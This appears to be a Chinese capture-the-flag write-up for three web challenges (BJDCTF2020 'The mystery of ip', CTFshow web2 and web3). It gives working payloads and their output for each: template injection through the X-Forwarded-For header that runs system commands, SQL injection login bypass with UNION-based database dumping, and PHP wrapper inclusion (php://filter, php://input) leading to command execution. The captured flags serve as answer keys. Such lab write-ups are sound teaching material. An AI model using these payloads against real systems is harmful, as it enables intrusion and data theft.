[BJDCTF2020]The mystery of ip
首先打开题目
有三个页面,一个index.php一个flag.php一个hint.php
只有第二个flag.php的页面有ip
然后ip就想到了X-Forwarded-For
于是直接用hackbar改x-forwarded-for
首先改成1试试
回显
Your IP is : 1
然后改成1+1
回显
Your IP is : 1+1
然后改成{{1+1}}
结果回显
Your IP is : 2
很明显是ssti服务器模板注入题目
直接payload:
X-Forwarded-For: {{system('ls /')}}
回显
Your IP is : bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var var
说明ssti注入成功了,于是直接payload:
X-Forwarded-For: {{system('cat /flag')}}
Your IP is : flag{6a448c30-c2d5-4f57-9871-99a146e2d4a7}
CTFshowweb2
首先直接用户名admin然后密码采用' or 1=1#进行sql注入。
回显
说明注入成功了,存在sql漏洞
于是直接采用联合查询(因为这里是post方式提交,所以采用bp抓包进行修改传参)
payload:' union select 1,group_concat(schema_name),3 from information_schema.schemata#
爆出库的名字
information_schema,test,ctftraining,mysql,performance_schema,web2
然后再爆出表的名字:
payload:' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema like 'web2'#
然后得到:
flag,user
然后再爆出列的名字:
payload:' union select 1,group_concat(column_name),3 from information_schema.columns where table_name like 'flag'#
然后回显:
flag
然后可以payload:
payload:' union select 1,group_concat(flag),3 from web2.flag#
然后得到:ctfshow{51201966-2b6a-46be-9c65-eb6f63bb9435}
CTFshowweb3
首先打开题目只有这样一个,题目提示是说PHP伪协议
然后我先
payload:?url=php://filter/convert.base64-encode/resource=index.php
然后经过解码得到
<?php
error_reporting(0);
$url=$_GET['url'];
if(isset($url)){
include($url);
}
?>
<?php
$code="<?php include($"."_GET['url']);?>";
highlight_string($code);
?>
然后并没有什么用处,然后我尝试采用:
payload:?url=php://input
并且同时post提交一个<?php system('ls');?>
然后得到了
ctf_go_go_go index.php
于是然后提交一个<?php system('cat ctf_go_go_go');?>
得到了最终答案 ctfshow{9bb7e56e-4785-4ffe-91b9-a05e75014117}